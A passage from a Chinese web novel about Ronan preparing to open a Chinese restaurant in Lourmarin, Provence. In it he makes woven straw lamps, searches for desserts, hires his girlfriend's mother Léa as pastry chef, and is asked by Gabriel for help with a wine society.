“灯?”亨利放下手里的藤蔓,拿起罗南面前的麦草,不敢置信的问,“罗南先生,你说这东西可以做成家里的灯?” 亨利绞尽脑汁也无法把这两种东西联系到一起。 罗南耐心的给他解释: “是的,其实竹子更合适,但普罗旺斯没有。” 竹子分布在亚洲、非洲和北美的部分地区,欧洲没有这种对水热要求较高的植物。 而那个年代的亚欧贸易也没有涉及这个品类,罗南只能退而求其次,使用在普罗旺斯地区更为普遍的‘草’。 见亨利一家好奇、无法理解但又不敢多问的复杂表情,罗南笑着说: “等做出来你们帮我一起看看,和藤椅搭配起来合适不合适。” 在瓦朗索勒学习手艺的时候,罗南找巴蒂学过好几种灯的编织方法,但没有环境搭配看不出哪个更适合,所以罗南这次决定把几种都做出来看看效果。 和亨利一家一起等待看效果的,还有卡福和他的‘橄榄球队’伙计们。 藤椅他们见过,普罗旺斯的有钱人从意大利人手里买过这种昂贵的东西,但用草编的灯他们还真没见过,甚至都没听过草编这种技术。 这是由于他们没有机会接触太多‘中式风格’的缘故。 一个多月前,罗南和卡福聊餐厅的装潢,罗南坚持希望有一些中式元素,卡福的眉毛很少舒展开来,他多次给罗南提建议,说那些大红色代表喜庆的东西也许并不适合普罗旺斯。 就像普罗旺斯人不了解中餐一样,他们对中国的了解还是太少太少了,认为‘中国红’是唯一的元素。 罗南做灯的过程中,卡福每过一个多小时就要过来看一看,生怕错过了哪个步骤。 可当他看了两天之后,很认真的问罗南: “你打算什么时候把它们染成红色?” 罗南笑着说: “中式元素不是只有红色一个元素,你太搞笑了伙计。” 卡福撇嘴: “可我见过的中式元素都是红色的。” 罗南指了指身后: “帮我按几个灯泡。” “做好了?”卡福抻着脖子问,“真的没有红色的元素吗?” 罗南无语的催促: “快去按几个灯泡,再把亨利他们几个叫来,我要举行‘亮灯’仪式了。” ‘亮灯’仪式的现场安排在了餐厅的室内区域。 亨利提前搬了几把藤椅来,卡福的伙计也从后院搬来了几张罗南做的木桌子,简单的把整个室内布置了一下。 而它们的头顶上散落了几盏罗南用草编织好的灯。 亨利的烟放到手上好久,始终忘记了点,他不停的仰着脑袋左右张望: “它们还没亮起,我就已经觉得很好看了。” 说完他把烟放到嘴里。 卡福飞速把亨利嘴里的烟取下来: “这是草做的,你先别抽了,万一烧起来怎么办?” 他继续对罗南嚷嚷: “以后餐厅必须禁烟,过几天我给你做几个牌子。” 罗南靠在墙边,双手抱胸笑着说: “这些是经过处理的草,无法点燃了,不信你试试?” 卡福连连摇头,不忍心的说: “它们太好看了,真点着了我心疼啊,像是艺术品一样。” 罗南打开墙上的灯路总开关,全屋的灯全部亮起来: “那就用电‘点燃’一下吧。” 几盏灯同时点亮,虽然现在是白天,但还是给餐厅里带来了一不一样的氛围。 亨利跳着脚说: “罗南先生,这太好看了!” 上帝,草真的能做成灯? 罗南先生是魔法师! 约瑟芬不停的转身观察每一盏灯: “它们和藤椅搭配起来很合适、很好看。” 卡福眯着眼睛看了一会,转头看罗南: “我想.未来我一定会给我的其他客户推荐‘中式风格’,如果他们需要这种灯,我可以找你吗?” 罗南沉浸在巨大的满足中,没空想其他的事情: “看我心情吧。” 卡福装作生气的‘挥舞’起拳头: “该死的家伙你必须答应!说不定我也可以从工匠升级到设计师了!” 晚上,罗南和家人们夜游的时候,再一次举行了‘亮灯’仪式。 天黑下来后,这里看起来更有感觉了。 佐伊仔细看了看那几盏灯,又仔细看了看桌子和藤椅,笑着对罗南说: “我想我可以开始给你做器具了。” 第199章 查漏补缺 佐伊是一个说一不二的人。 她说要给罗南的餐厅做餐具,无论罗南找任何理由阻拦都没用。 那之后,罗南每天一定会找机会去路易家看看。 “休息一下吧,莉亚做了草莓热那亚蛋糕。”他靠在佐伊的工作台上说。 佐伊撑着脑袋咬铅笔,语气敷衍: “最近做美人鱼摆件弄的我很头疼,做一点喜欢的东西换换心情,你就别总来‘捣乱’了。” 有钱人的钱不是那么好赚的,只是设计图佐伊就改了五六版,对方依然觉得‘可以更好’一点。 她发誓这是她这辈子做的第一个也会是最后一个‘定制物’。 给罗南设计盘子和杯子成了佐伊这段时间的‘调剂品’,一想到罗南招待的客人全部会使用自己做出来的餐具吃饭佐伊就觉得幸福,心情也能随之好起来了。 “现在在设计什么?”罗南站到佐伊身后,看她的手稿。 佐伊把它们挡起来,回头不悦的说: “还没画完呢” “给我看看呗。”罗南笑着说。 佐伊把罗南推出工作间: “出去出去,别耽误我创作,你再不出去我放呼呼了。” 呼呼最近和罗南打得‘热火朝天’,罗南最怕那家伙了。 罗南用央求的语气说: “好好好,那设计阶段我不打扰你,但你烧的时候必须同意我过来一起帮忙。” 佐伊用力把他向外推: “你会什么啊来帮忙?你来就是捣乱。” 罗南不服气的说: “我手可巧了,你忘记赫黛利是如何评价我的了?” 佐伊用哄小孩的语气对罗南说: “快去吃蛋糕吧.那是妈妈特意为你做的,快去快去。” 说完,她去巨大的书架里拿了一本厚厚的‘纹样’参考书,坐回工作台继续咬铅笔了。 路易的工作稳定、收入也高,莉亚是卢尔马兰比较少的什么事情都不用干、专职照顾家庭的主妇。 这使得她有更多的时间研究如何让自己的丈夫和孩子们过得舒服,而这其中最突出的一项一定是厨艺。 无论罗南什么时候来路易家,这里一定有用当季新鲜食材制作的甜品。 “佐伊不吃吗?”莉亚从厨房里探出头来。 罗南耸肩: “她在忙。” 莉亚笑着说: “那我给你拿一块草莓热那亚蛋糕,剩下的你带回去给你父母尝尝。” “谢谢。”罗南开心的坐到餐椅上。 他不太爱吃甜的东西,但莉亚做的甜品真的非常美味。 莉亚把一个小盘子放到罗南面前: “餐厅筹备的还顺利吗?” 罗南叉了一块柔软的蛋糕,又沾了一些旁边的草莓酱汁: “挺顺利,装修开始收尾,过几天石材入场硬装就结束了,家具什么的该订的订、该做的做都安排好了,剩下的就是再做一些饰品和绿植,我爸爸那边准备的也挺顺利,菜单基本订了。” 罗南把蛋糕放到嘴里,眼前一亮: “莉亚,你真是个做甜品的天才!” 莉亚笑着说: “感谢你肯定我的‘事业’。” 她想到什么,问罗南: “你们准备甜品了吗?” 几次去罗南家聚会,莉亚发现他们和自己家最大的不同是不会自己制作美味的甜品,端上来的都是从外面买的。 她猜‘中国家庭’可能不太重视甜品,于是好心的提醒了一句。 罗南用力咬住勺子。 还真没有想过甜品的事情啊。 欧洲人都是‘大糖罐子’,即使不吃饭也会点一块甜品吃。 怎么把这么重要的事情忽视了? 罗南感激的对莉亚说: “看来我要时常和卢尔马兰最棒的‘大厨’沟通餐厅进度了感谢你帮我们查漏补缺。” 当天晚上。 罗南回家询问罗天海关于甜品的问题。 这件事罗南是忽略了,但罗天海是压根就没想做: “我们毕竟是中餐厅,没必要和法餐一样在甜品上耗费太大的精力,从外面‘订购’吧。” 甜品当然要有,卢尔马兰是旅游景点,有些游客进餐厅不是为了吃饭,就是为了喝喝酒、看看景,所以甜品必须准备。 不过罗天海的打算是从供应商那里订购现成的甜品。 罗南皱着眉头说: “我们不做一些有中式特色的甜品吗?” 罗天海苦笑着说: “问题是我不会做啊.” 我一个川菜厨子,你让我做甜品会不会太强人所难了? 罗南也叹了一口气。 【烹饪】给了他许许多多的能力,但却没有给他提供过‘菜谱’。 罗南现在做的每一道中餐都需要向罗天海问做法。 如果罗天海都不会,罗南也没有办法了。 或者去阿维尼翁、马赛找中国甜品的菜谱? 不是不行但罗南未来没有那么多精力放在餐厅里做甜品。 由他担下这件事并不是明智之举。 罗南打算先看看那个供应商的情况,再做下一步决定。 “那家供应商靠谱吗?”罗南问。 餐厅里所有的菜都是他们亲手调制的,突然由外人供成品,罗南不是很放心。 罗天海点头: “我尝过几款,感觉还行,这样吧,我现在打电话让他明天送一点来,你再把把关。” 罗天海和冯珍都不是甜品专家,他们平时没有吃甜品的习惯。 罗南点头: “行,明天我再叫几个更‘专业’的评审来。” 第二天晚上。 弗雷迪和佐伊百忙之中光临了罗南家。 邀请弗雷迪是因为这家伙是个美食专家。 让佐伊来是因为她挑食的厉害. 如果这家供应商连自己女朋友那一关都过不去,罗南一定会放弃找供应商的决定,另寻他法。 两位‘评审’入席后,看着另一个空座位问: “还有人没来吗?” 罗南坐到了他们身边: “最后一个评审是我,作为餐厅的老板,我要严格把控每一个环节。” 弗雷迪耸了一下肩膀,笑着说: “你都把我搞紧张了,我以为就是普通的试菜那么好吧——” 他拿起勺子,郑重地说: “法国是甜品的天堂,我会用‘天堂审判官’的身份对待今天的甜品。” 佐伊没有那么多‘花里胡哨’的口号,她喝了一口水,示意罗天海可以上菜了: “我对甜品的态度是最挑剔的。” 弗雷迪双肩抖动的说: “确实,莉亚做的甜品太美味了。” 第一道甜品是蜂蜜柠檬挞。 弗雷迪笑着说: “这家供应商挺懂普罗旺斯特色的嘛。” 蜂蜜柠檬挞是普罗旺斯当地出现率非常高的一道甜品,几乎每一个女主人都会做。 金黄色的柠檬味法式挞底,上面铺有奶油和蜂蜜,有的厨师还会在上面用柠檬做点缀。 “外形还可以。”佐伊是第一个动勺子的。 外形过关,她才有吃的冲动,如果外形不过关,无论这东西再好吃她都不会尝一口。 弗雷迪紧随其后切了一块。 两人尝过后互看了一眼,没有说话。 “怎么样?”罗南问。 佐伊擦了下嘴: “我对甜品比较挑剔。” 弗雷迪耸肩: “我不是很喜欢,但你可以尝尝。” 答案已不言而喻。 罗南切了一小块,入嘴的感觉没有‘不好吃’,但也没有很好吃,他给这道甜品的点评是: “没有莉亚做的好吃。” “爸爸,上下一道吧。”罗南把蜂蜜柠檬挞撤了下去。 第二道端上来的是闪电泡芙。 泡芙这道源于意大利的甜食真正‘扬名天下’是在16世纪传入法国后。 当你问一个法国人,法国最具特色的甜品是什么时,一定会有不少人说泡芙。 法国人实在太爱这东西了! 泡芙是弗雷迪的最爱,盘子刚放下他就用手拿了一块放到嘴里,闭眼品尝起来。 不过这个过程不长,他又吃了一颗后耸肩道: “好吧,我大概知道这家供应商的水平了,做的东西不难吃,但就是让人喜欢不起来,它没有什么特色。” 佐伊小小的咬了一口,把剩下的三分之二放到自己的盘子里: “我觉得不好吃。” 和自己的父母一样,罗南也不是个专业的甜品大师,他的点评依然是: “没有莉亚做的好吃。” 弗雷迪扬了一下右手: “你不要总是和莉亚做的甜品比,那是不公平的,能说点别的吗?” 罗南无辜的说: “我家从来不做甜品,我在巴黎也几乎不怎么吃甜品,到了普罗旺斯才开始频繁的接触莉亚就是做甜品最好吃的啊。” 弗雷迪用开玩笑的语气说: “既然已经发现了普罗旺斯最棒的甜品师傅,为什么还要去找什么供应商呢?” 今天的‘试菜’非常失败。 几道甜品都没有到达让评审们满意的水平。 回家的路上,佐伊听罗南一直叹气: “在想什么?” “在想甜品的问题”罗南悠悠说道。 “可以再找其他供应商,还有时间呢。”佐伊安慰道。 罗南摇头: “没有那么简单,你说我一个中餐厅,卖的全部是法式甜品会不会有点太说不过去了?” “但也没有其他办法了不是吗?”佐伊在罗南家听了他们父子的交谈,知道他们都不会做中式甜品。 罗南用拳头凿了一下手掌: “这周我要去马赛或者阿维尼翁一趟,看看能不能找到关于中式甜品的书籍,我也会给托尔打电话,让他在巴黎帮我留意一下。” 佐伊有些担忧的说: “这需要不少的时间,而且你能确定普罗旺斯人接受中式甜品吗?我的意思是欧洲的甜品文化比正餐文化还要古老和‘坚固’,我担心你费了好大的力气是无用功。” 罗南心情更差了: “那也要想办法解决这件事啊,即使没有中国特色甜品,也要找到一个莉亚那个水平的甜品师。” 佐伊默默拉着罗南的手,沉默不语。 几秒钟后,小情侣突然同时开口说道: “你说莉亚.” “你说妈妈.” 罗南和佐伊停下来,笑着互相看对方。 这就是‘心有灵犀’啊。 罗南忐忑的问: “有这个可能吗?” 那么大的餐厅只有他们三口人肯定忙不过来,罗南从上个月就开始思考这件事了。 但让莉亚来餐厅帮忙和去集市帮忙的性质完全不同。 这是一个正经的工作。 听佐伊说莉亚从来没上过班卢尔马兰的女人们也几乎没有‘上班’的习惯。 所以这件事有可能吗? 第200章 40多岁正是打拼的年纪! 佐伊回到家,没有进自己的卧室,而是坐到客厅的单人沙发上,表情严肃的盯着父母和弟弟看。 上一次出现这个情况,是佐伊通知全家自己喜欢罗南让他们别总是耽误自己的好事。 今天同样的架势一摆出来,吓得维埃里手里的足球鞋都掉了: “佐伊,你不会是和罗南分手了吧?” “滚!维埃里!”三道骂声从不同的方向冲击到维埃里的耳朵里。 维埃里抱起足球鞋听话的回卧室,刚站起来,佐伊冰冷的对他说: “你也留下,这件事和你也有关系。” 斜靠在三人沙发上的路易坐直身体。 虽然他知道佐伊和罗南的感情绝不会出问题,但看起来是和这一样同等重要的大事啊。 “出什么事了吗?”他紧张的问。 乐观的莉亚觉得肯定没什么大事。 下午女儿和罗南还好好的,只要他们两个感情好,其他的就都不是事。 她站起来去厨房: “我给你留了一块玛德琳,边吃边说吧。” 佐伊对母亲说: “妈妈,你等我说完再去拿这件事是关于你的。” 维埃里和路易同时发出疑惑的鼻音。 莉亚(妈妈)每天待在家里,能有什么和她有关的大事? 佐伊用言简意赅的语言,总结了罗南现在面临的困难和他们两个想出的解决办法,之后她小心翼翼的问母亲: “妈妈,罗南想聘请你担任他餐厅的甜品师.你愿意去吗?” 佐伊的心情也很复杂。 别说是罗南,连她这个亲女儿都无法想象妈妈离开家庭的样子。 他们家会变成什么样子? 对于一个当了二十几年的家庭妇女来说,听到一个可以走出家庭的机会第一反应是兴奋和激动,但很快又会因为各种各样的复杂原因而迟疑和退却: “那家里就没有人照顾你们了。” 佐伊认真的说: “我和维埃里长大了,已经过了需要你时刻照顾的年纪,你难道不想拥有自己的事业吗?” 法国非常重视甜品文化,甜品师是一个很受人尊重的职业,可以评级、可以参赛,拥有广阔和光明的发展前景。 在维埃里还没有接触足球这项运动前,最大的梦想就是能当一个甜品师,这样他就可以每天吃到巧克力了。 莉亚搓了几下围裙,站起来去了让她最安全的地方: “都40多岁了,还要什么事业啊,我去给你拿玛德琳。” 厨房里。 莉亚站在烤箱前,眼睛没有焦距的看着墙角的某个位置,不知道在想什么事。 “还没好吗?”路易的声音在她身后出现。 莉亚回过神来: “我又烤了几片蜂蜜杏干,维埃里说他想吃。” 路易靠在橱柜上,眼神温柔的看着自己的妻子: “你真的不想去吗?” 莉亚眼神闪躲的说: “我一辈子没有上过班,突然说这些会让我很‘恐惧’。” 不是服务员、不是去帮忙,而是当甜品师莉亚从未想过自己会和这个单词牵扯到一起。 她只是爱做饭、喜欢做甜品,但那是职业吗? “是吗?”路易笑着说,“但有一天我听到某个‘爱哭鬼’给她的姐姐打电话,说女儿的事业越来越好、儿子马上要上大学、老公的业绩节节高升,家里似乎只有她一个人很失败呢。” “你又没敲门!”莉亚小声怒吼,“你不该偷听我打电话!” 路易用他温暖的怀抱安抚老婆的怒意: “亲爱的,我不希望家庭是你的束缚。” 莉亚情绪低落的说: “可我已经40多岁了,周围的女人全部是家庭主妇弗雷迪的妻子、阿兰的妻子、卡尔的妻子,她们全部是。” 路易用力抱住老婆: “40多岁怎么了?我36岁才转行去卖房子,现在难道不是令你骄傲的路易吗?” 现在进入了盗窃高峰时期。 有了罗南家的前车之鉴,莉亚会格外注意家里的安全,每天睡觉前都会检查一圈家里的门窗是否紧闭。 今天巡视到盥洗室,意外的看到维埃里正撅着屁股在水池里摆弄什么东西。 “你怎么还不睡?”她严肃的问。 维埃里回头歉意的说: “吵到你休息了吗?” 莉亚走到水池前,看到里面全是泡沫,似乎放进去了半瓶洗洁剂: “你在折腾什么啊维埃里。” 维埃里从水池里捞出两只黑色的足球鞋: “我在刷鞋。” 莉亚把鞋抢下来: “我不是告诉你,明早我帮你刷吗?” 维埃里低着头小声说: “妈妈.其实我可以照顾自己了。” 他甩了甩手,不敢看母亲的眼睛: “我说喜欢踢足球的时候,全家人都反对,你是第一个支持我的人,你告诉我爱好可以使生活变的无比快乐和有意思,罗南的餐厅需要一个甜品师,这正是你的爱好,能把爱好当作职业是幸运到不能再幸运的事,你应该去的我不想拖累你。” 在维埃里的观念里,年纪最小的他是需要妈妈照顾最多的人。 莉亚激动的抱住儿子的头: “维埃里” 维埃里在母亲怀里偷偷抹了一下眼泪: “我已经16岁,是大人了,你真的不需要为了我留在家里我希望你能坚持做自己喜欢的事。” “我的儿子长大了真的长大了。”莉亚眼泪婆娑的说。 第二天上午,莉亚轻轻敲响了佐伊工作室的门。 “没有打扰到你吧?”莉亚探头进来问。 佐伊放下手里的工作: “当然没有,考虑好了吗?” 昨晚莉亚说要考虑一下,今天给佐伊回复。 莉亚坐到佐伊的身边,纠结的问: “我想听听你的意见。” 佐伊是全家最有主见、眼光最准确的人。 当莉亚拿不准主意的时候,想要听一听女儿的意见。 佐伊旋转椅子,正对母亲: “我认为你应该去试试。” 莉亚纠结的说: “可我除了照顾家庭什么都不会,我没有路易的口才,没有维埃里的头脑,也没有你的才华,我甚至不会缝绣被。” 佐伊拉住母亲的手,鼓励她道: “但你有好手艺,忘记大家如何评价你的厨艺了吗?毫不夸张的说,艾克斯的甜品都没有你做的好吃否则你怎么会养出我和维埃里这两个挑食的孩子呢?” “可是——” 莉亚想要继续否定自己,被佐伊有力的话语拦截下来: “不要因为其他人的生活提前给自己下定义,卢尔马兰的其他女人没有走出家庭不代表你也不可以,我、爸爸、维埃里和罗南都会帮助你的。” 莉亚的心中早有答案,只是需要有人慢慢帮她把心门打开: “佐伊,你说我真的还有机会拥有自己的事业吗?” 事业这个词对卢尔马兰的大部分女性来说太过遥不可及。 但谁又不想拥有事业呢? 一旦家里的女主人也拥有了正经的职业,家庭收入将会提升一倍。 佐伊露出灿烂的笑容: “40多岁正是打拼的年纪!” 莉亚用力深呼吸了一口: “我想.我准备好开启一段新的人生了。” 为了家庭越来越好,为了喜欢的事! 佐伊轻轻抱了一下母亲,拿起她面前厚厚的纹样工具书说: “那我们就给这段‘新的人生’一个美丽的开局吧,我帮你一起。” 佐伊转告罗南,莉亚接受了他的邀请,可以担任餐厅的甜品师。 而且佐伊还说,莉亚为她人生中的第一份工作做足了准备。 某一天晚上,罗南从餐厅出来去路易家赴约,今天是莉亚给大家展示‘成果’的日子。 但他进屋发现莉亚、路易、佐伊和维埃全部不在客厅里: “人呢,莉亚他们怎么都不在?” 阿兰指了指厨房: “他们都在厨房里。” “四个人?”罗南五官扭曲到一起。 永远搞破坏的路易、只会做老酪锅的维埃里和从不下厨的佐伊都在厨房里? 我没听错吧. 厨房的大门紧紧关着,没人知道里面发生了什么事情,但他们没听到打碎盘子和杯子的声音,说明路易控制住了自己。 正当弗雷迪提议,不如出去先找点东西吃的时候,路易家的厨房门打开了。 莉亚端着一个造型独特的蛋糕,紧张但又激动的出现,她后面跟着一脸笑容的佐伊。 莉亚把蛋糕小心翼翼的放到餐厅的桌子上,嗓音颤抖的说: “罗南,知道你想让甜品有一些中式元素,所以佐伊帮我设计了这款蛋糕,它的名字叫‘芙蓉’,听说在中国芙蓉寓意‘富贵吉祥’,在你还没有学会中式甜品前,把它推出去试试?” 冯珍表情夸张的盯着这款蛋糕看: “还真是芙蓉的样子!” 弗雷迪他们几个也惊的咬住手指: “从来没有见过的蛋糕造型,莉亚,你太厉害了!” 莉亚激动的搂住女儿的脖子: “是佐伊设计的。” 佐伊谦虚的说: “我只是做了设计,蛋糕是你和爸爸、维埃里做的。” “让一让!”厨房那边再次传来声音。 路易和维埃里出现在厨房门口。 这父子两放下了一个通体红色的精致甜品。 莉亚继续给大家解释: “这款慕斯甜品是根据‘梅花’造型设计的,听说在中国梅花——” 罗南突然用力抱住了莉亚和佐伊,激动的说: “我还学什么中式甜品啊,你们已经做出了普罗旺斯最棒的‘中式甜品’,我太幸运了!” “还有我!”维埃里硬挤进去,“我帮妈妈做的蛋糕坯,爸爸打的鸡蛋!” 路易大笑着把这几个人抱住: “莉亚.我们会永远支持你的‘事业’!” 这几个人刚分开,弗雷迪的妻子、阿兰的妻子和老卡尔的妻子又把莉亚抱住,既羡慕又激动的鼓励她: “亲爱的,努力闯出一番天地吧你绝对有这个本事。” 不仅甜品是莉亚一家四口一起做的,今晚的晚饭也是他们四个一起努力的结果。 莉亚已经成为了‘职业’女性,家务的重任需要有人帮忙分担,不过大家对此非常积极。 “你们尝尝牛排啊,用莉亚教的方法做的,你们尝尝味道有没有区别。”路易努力推销自己煎的牛排。 “馅饼是妈妈指导我和佐伊做的,你们怎么不吃?”维埃里积极的给大家分发馅饼。 “啊——尝尝我做的尼斯沙拉。”佐伊把食物喂到罗南嘴里,“看看我和维埃里谁能接下妈妈卢尔马兰最佳厨师的荣誉。” 今晚是罗南在路易家吃过最‘混乱’的一顿饭。 味道肯定不是最好的,但一定是最记忆犹新的一次。 莉亚的‘事业’让路易家发生了翻天覆地的改变,但罗南坚信,一切改变都将向着好的方向迈进。 路易家是如此,卢尔马兰亦是如此。 第201章 多个朋友多条道路 莉亚的加入补全了餐厅的最后一个短板,在甜品领域罗南也有信心了。 那之后他们又做了几次合作测试,莉亚的手艺加上罗南的摆盘,最终的成品像艺术品一样精致美丽。 餐厅开业前,莉亚会再研究几款类似‘芙蓉’和‘梅花’这样的中式甜品,力争把种类扩充起来,做到万无一失。 弗雷迪开玩笑的说,卢尔马兰距离它的第一家米其林餐厅又近了一步。 当然罗南也在同时打听纯正的中式甜品菜谱,不过现在的甜品水平够用了。 莉亚的加入同时也把罗南餐厅的‘受欢迎’程度提高了一大截。 这个卢尔马兰最佳厨师的手艺本村人几乎都尝过,吃过的都说好,有她的助力,罗南餐厅的水准更加有保障,村民们也更加放心。 当罗南在卢尔马兰集市上第三次卖盒饭时,主动来买的村民多了许多。 买的人多,吸引过来看的人就多,转化的新顾客就多。 回家算帐的时候,罗南发现盒饭单天的收入已经快1500法郎了。 不要忘记现在已经过了旅行季,也就是说买的几乎全是卢尔马兰的村民和其他村子的普罗旺斯本地居民。 这证明罗南中餐厅的名号已经在本地不知不觉中慢慢打出去了。 除此之外,还有另一个出人意料的情况发生。 有许多村民问罗天海能不能‘长期供应’盒饭。 收获的日子马上就要到来,很多家庭都提前为此开始准备,一忙起来经常没有时间做午饭。 如果罗天海每天都能供应盒饭就太好了。 罗天海当然愿意干这件事啊,又能给餐厅做宣传,还能给罗南缓解经济压力,这件事就这样顺利的成型了。 那之后罗南家的厨房一天比一天热闹。 罗天海上午做饭,罗南中午开车全村送饭,餐厅还没开起来,‘业务’先一步跑起来了。 这情况把生意惨淡的托马斯和歌迪亚‘馋’死了。 我们店开业这么久,生意冷冷清清。 凭什么罗南的餐厅还没摆齐家具就开始有生意了? 而且生意还越来越多! “罗南,你太令人‘生气’了!”歌迪亚捏着烟头说,“今天又去送了多少份?30份还是40份?” 罗南抖了抖身上的木屑: “最近日子特殊,‘送餐’的生意只有9月份这一段日子能干,过了就没有这个生意了。” 过了收获季大家还是要自己做饭,卢尔马兰的居民还没达到顿顿在外面吃的经济能力。 “赚这几天的钱也很不错了,说不定比我一整月的收入还高。”歌迪亚吐出一口烟圈,愤愤不平的说,“早知道我也干餐饮了,谁能想到在卢尔马兰干餐厅居然这么受欢迎” 托马斯眉头紧锁: “别这么说歌迪亚,你看看阿尔奥斯的咖啡厅,服务员已经睡两个小时了。” 阿尔奥斯便是那个拿过钥匙就再也没出现过的外村老板,他的咖啡厅由他妻子的弟弟打理。 此刻,他弟弟请的帮手正趴在室外用餐区的椅子上擦口水呢。 罗南看向他的同行,语气没有什么起伏的说: “我只是使用了一点点宣传手段而已,还有就是.朋友多。” 制定卖盒饭的‘广告’策略、朋友们的宣传、农夫们的捧场.餐厅走到今天这些因素缺一不可。 托马斯撇了下嘴: “那可不是一点点宣传手段吧伙计,我每次去教堂都能看到你的‘手绘广告’。” 那副还愿画太扎眼了! 托马斯相信一定有人被它刺激的想要去找点东西吃。 罗南露出灿烂的笑容: “真的,这真的只是一点点宣传手段。” 宣传还远远不够呢,朋友。 距离10月越来越近,罗南的宣传计划需要‘升级’了。 路易家。 “你到底要在盘子和杯子上画什么纹样?”罗南每过几天都要问佐伊一个同样的问题。 莉亚做甜品的水平绝对没得说,但那几款‘中式’甜品最大的功臣当属佐伊。 一定是她在做餐具的时候看了大量资料,否则怎么会知道芙蓉和梅花在中国有特殊意义呢? 这让罗南更加好奇了。 大艺术家佐伊到底要给他设计一套什么样的餐具? 无论罗南如何问,佐伊的回答始终是同一句话: “过几天你就知道了,我还在调整。” 给罗南设计餐具是重中之重的大事,这次不用‘客户’开口,佐伊主动推翻了一次又一次的设计,总觉得‘还能更好’一点。 不过眼看要到8月中旬,定稿的日子不远了。 “确定日子一定要告诉我好吗?”罗南温柔的说。 佐伊微微皱眉: “你还真要来帮忙啊?” 罗南坦然的说: “当然,你以为我在开玩笑吗?” 佐伊失笑着说: “我当然以为你在开玩笑了,无论对玻璃还是对陶瓷你都一无所知。” 佐伊和罗南几乎每天都会见面,每天天南地北的聊,她还不知道罗南是什么水平吗? 罗南使用了逃避战术: “总之我要过来给你帮忙。” 说完,他起身轻轻把佐伊工作室的门带上: “莉亚又做了新甜品,别忘了出来吃,她现在需要鼓励。” 佐伊低头继续看她的纹样工具书: “知道了,我马上出去。” 莉亚现在的‘事业心’爆棚,每天都会在厨房里精进技艺还会研究新品,和前一段日子‘试菜’状态下的罗天海很相似。 今天,罗南又品尝到了一款结合了‘蝴蝶’和‘豆腐’灵感的酸奶布丁。 “完美!”罗南挥舞着勺子说,“莉亚,你让我爱上吃甜品了。” 莉亚做了一个加油的动作: “这都要感谢佐伊的纹样书。” 罗南压低声音对莉亚说: “佐伊开始做餐具的时候,你记得通知我一下。” 佐伊太有主见了,罗南猜按照她的行事风格,肯定会把一切做好之后直接给罗南一个‘惊喜’。 但罗南也给佐伊准备了‘惊喜’,所以这次制作餐具他必须参与进去。 莉亚也压低声音: “你想干什么?” 罗南神神秘秘的说: “做一些可以让我们感情更好的事。” 莉亚马上被策反了,对罗南郑重的点头: “好,我最近替你盯着。” “谢谢。”罗南感激的说。 莉亚突然站直身体,咳嗽了一声,语气正常的说: “我在佐伊的纹样书里看到了一个新东西,明天我会再做一款新的,记得明天下午来尝尝。” 罗南歉意的说: “明天恐怕不行。” “明天要出去?”声音是从罗南身后出现的,佐伊忙完了手头的工作出来吃甜品。 罗南对她挑了一下眉毛: “还记得我跟你说过的,我的那些‘厉害的朋友’们吗?” 佐伊用罗南的勺子吃了一口‘豆腐’甜品: “记得,沃克吕兹省粉红酒爱好者协会。” 罗南坏笑着说: “明天有聚会,我要去朋友们那里宣传宣传我的餐厅。” 村里的朋友们都动员起来了。 村外面的朋友们也要跟上啊! 多个朋友多条道路,这么多月积攒下来的朋友圈该利用起来了。 这次的聚会地点在距离卢尔马兰不远的博尼约。 加布里埃尔只在拿钥匙和开业的那两天去过卢尔马兰的店铺,借着这次沃克吕兹省粉红酒爱好者协会举办的机会,他提前来了一趟卢尔马兰,看看自己经营状态堪忧的店铺。 这位糖果大王的生意远销全欧洲,偶尔一两家店亏损他还真不是特别在意,来卢尔马兰的另一个目的,是提前见一见罗南。 他有件事想托罗南帮帮忙。 但每次加布里埃尔来卢尔马兰,都会被想和他‘结交’的托马斯和歌迪亚缠住。 找了半天机会无果,他无奈只能当着这两个外人的面和罗南开口了: “下午你能不能帮我个忙?” 罗南躲在树荫下,眯着眼睛问: “什么忙?” 加布里埃尔为难的说: “我有一个朋友也想加入协会,但‘审批’没有通过,今天下午,我会当面和伊内斯再说一说这件事你能不能帮我一起努努力?” 罗南想了一下: “但我觉得,伊内斯的性格不像是会被说服的人啊。” 伊内斯是一个很‘严格’的人,否则沃克吕兹省粉红酒爱好者协会不会一直‘人丁稀少’了。 加布里埃尔叹气: “但那真的是我非常好的朋友,你不知道” 他偷偷看了一眼一脸疑惑的托马斯和歌迪亚: “如果进入咱们协会会给他提供巨大的帮助。” 罗南皱眉问: “他不会是来‘猎艳’的吧?” 这是大部分人申请的直接动机和理由。 加布里埃尔连连摇头: “不不不,那肯定不是,我发誓!” 见罗南一脸为难,加布里埃尔笑着搂住罗南的脖子,像是‘好兄弟’一样说: “帮帮忙吧罗南,我在协会里和你的关系最好了。” 加布里埃尔有钱,但协会里的其他人也不缺钱。 他一直属于协会里比较‘边缘’的人物,其他成员对加布里埃尔的评价是——除了钱别的什么都没有。 但罗南很受会长和成员们的重视,毕竟他对粉红酒的狂热无人能敌,额.除了阿斯特丽德。 罗南很为难,因为今天下午他也是带着目的去的,帮加布里埃尔说太多,会显得他过于‘活跃’: “我只能尽量但我劝你最好再找个其他帮手。” 加布里埃尔苦涩的叹了一口气。 会员们各有各的立场,各有各的脾气,还要考虑说话的‘分量’。 如果罗南无法帮他还能指望谁呢? 总不能去‘色诱’连伊内斯都不敢惹的阿斯特丽德吧? 可他试过啊,阿斯特丽德对他没有兴趣。 第202章 那个男人又回来了!【1月4000月票补更】 加布里埃尔没有轻言放弃,因为罗南真的是他最佳的‘帮手’人选。 即使今天罗南不帮忙,未来也一定可以帮上忙。 毕竟他们前几次见面聊得挺投机,尤其是拿钥匙的那一次,简直亲密的像是‘连体’兄弟。 但加布里埃尔的美梦很快就破碎了。 罗南的‘兄弟’似乎有点多啊。 罗南和大家聊了一会便主动离开: “我要回去干活了,你们继续聊吧,有事去餐厅里找我。” “有什么事要忙?”加布里埃尔对着罗南的背影喊。 别走啊,再待会! 回答他的是歌迪亚: “罗南今天要做两盏灯,时间太紧,没时间休息。” “做灯?”加布里埃尔突然听不懂法语了。 这个朋克风的女人是说罗南要做灯吗? 是我理解的这个意思吗? 不过这些不重要,重要的是加布里埃尔想尽快让罗南回忆起他们之间的‘兄弟情’。 “让他忙吧,中午一起吃饭。”加布里埃尔小声嘀咕。 托马斯发出了一道意味不明的鼻音: “罗南今天中午去女朋友家吃饭。” 加布里埃尔疑惑的看向托马斯。 你又知道了? 托马斯耸肩,解释道: “昨晚在罗南家吃饭的时候他说的。” 